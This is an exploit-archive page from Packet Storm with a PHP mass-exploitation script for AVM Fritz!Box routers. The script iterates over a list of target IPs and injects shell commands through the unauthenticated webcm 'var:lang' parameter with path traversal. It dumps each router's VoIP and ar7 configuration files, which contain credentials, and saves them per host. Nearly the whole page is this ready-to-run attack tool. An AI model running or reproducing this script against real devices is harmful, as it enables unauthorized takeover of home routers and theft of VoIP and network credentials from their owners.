exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

AVM Fritz!box Auto Exploiter

AVM Fritz!box Auto Exploiter
Posted Jan 7, 2015
Authored by BaD-HaCKeR-MaN

This is a php script used to leverage an unauthenticated remote command execution flaw in AVM Fritz!box.

tags | exploit, remote, php
SHA-256 | da4c6b0e1c996854115f6ec61b1eefac4f8ab243e55959e974580de173e8a0a3

AVM Fritz!box Auto Exploiter

Change Mirror Download
<?php
echo "

+++++++++++++++++++++++++++++++++++++++++++++++
++ Fritz!Box Fucker ++
++ By ++
++ BaD-HaCKeR-MaN ++
+++++++++++++++++++++++++++++++++++++++++++++++


";

set_time_limit(0);
error_reporting(0);


function func1($url){
$curl=curl_init();

curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26 allcfgconv -C voip -c -o - ../../../../../var/tmp/voip.cfg %26");
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl, CURLOPT_TIMEOUT,15);
curl_setopt($curl, CURLOPT_HEADER, true);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}

function func2($url){
$curl=curl_init();

curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26 allcfgconv -C voip -c -o - ../../../../../var/tmp/voip.cfg %26");
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl, CURLOPT_TIMEOUT,15);
curl_setopt($curl, CURLOPT_HEADER, true);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}

function func3($url){
$curl=curl_init();

curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26%20allcfgconv%20-C%20ar7%20-c%20-o%20-%20../../../../../var/flash/ar7.cfg%26");
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl, CURLOPT_TIMEOUT,15);
curl_setopt($curl, CURLOPT_HEADER, true);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}

function func4($url){
$curl=curl_init();

curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26%20allcfgconv%20-C%20ar7%20-c%20-o%20-%20../../../../../var/flash/ar7.cfg%26");
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl, CURLOPT_TIMEOUT,15);
curl_setopt($curl, CURLOPT_HEADER, true);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}



$FritzBoxIps = file("ips.txt");

foreach($FritzBoxIps as $FritzBoxD){
/*
preg_match_all("/\|\s[0-9].*:/" , $FritzBoxD , $FritzBox);
$FritzBox = $FritzBox[0][0];
$FritzBox = str_replace("| " , "" , $FritzBox);
$FritzBox = str_replace(":" , "" , $FritzBox);
*/

if(preg_match("/\|\s/" , $FritzBoxD)){

preg_match_all("/\|\s.*\:/" , $FritzBoxD , $a);

$FritzBox = str_replace( "| " , "" , str_replace(":" , "" , $a[0][0]));

}else{

preg_match_all("/[0-9].*\.[0-9].*\.[0-9].*\.[0-9]*/" , $FritzBoxD , $a);
$FritzBox = $a[0][0];

}

echo "[+] Testing $FritzBox \n";

$FritzHTTP = func2("https://$FritzBox");
if(eregi("voipcfg" , $FritzHTTP)){
echo " + Success Exploit In https://$FritzBox/ \n";
$ar7 = func3("https://$FritzBox");
$fp = fopen($FritzBox.".txt", 'a+');
fwrite($fp, "https://$FritzBox \n\n $FritzHTTP \n\n $ar7 ");
fclose($fp);
}

$FritzHTTPS = func1("https://$FritzBox");
if(eregi("\x76\x6f\x69\x70\x63\x66\x67" , $FritzHTTPS)){
echo " + Success Exploit In https://$FritzBox/ \n";
$ar7 = func4("https://$FritzBox");
$fp = fopen($FritzBox.".txt", 'a+');
fwrite($fp, "\n\n https://$FritzBox \n\n $FritzHTTPS \n\n $ar7 ");
fclose($fp);
}

if(!eregi("voipcfg" , $FritzHTTP) and !eregi("\x76\x6f\x69\x70\x63\x66\x67" , $FritzHTTPS)){
$fp = fopen("Not-Opened.txt", 'a+');
fwrite($fp, "$FritzBox \n");
fclose($fp);
}
}
?>
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close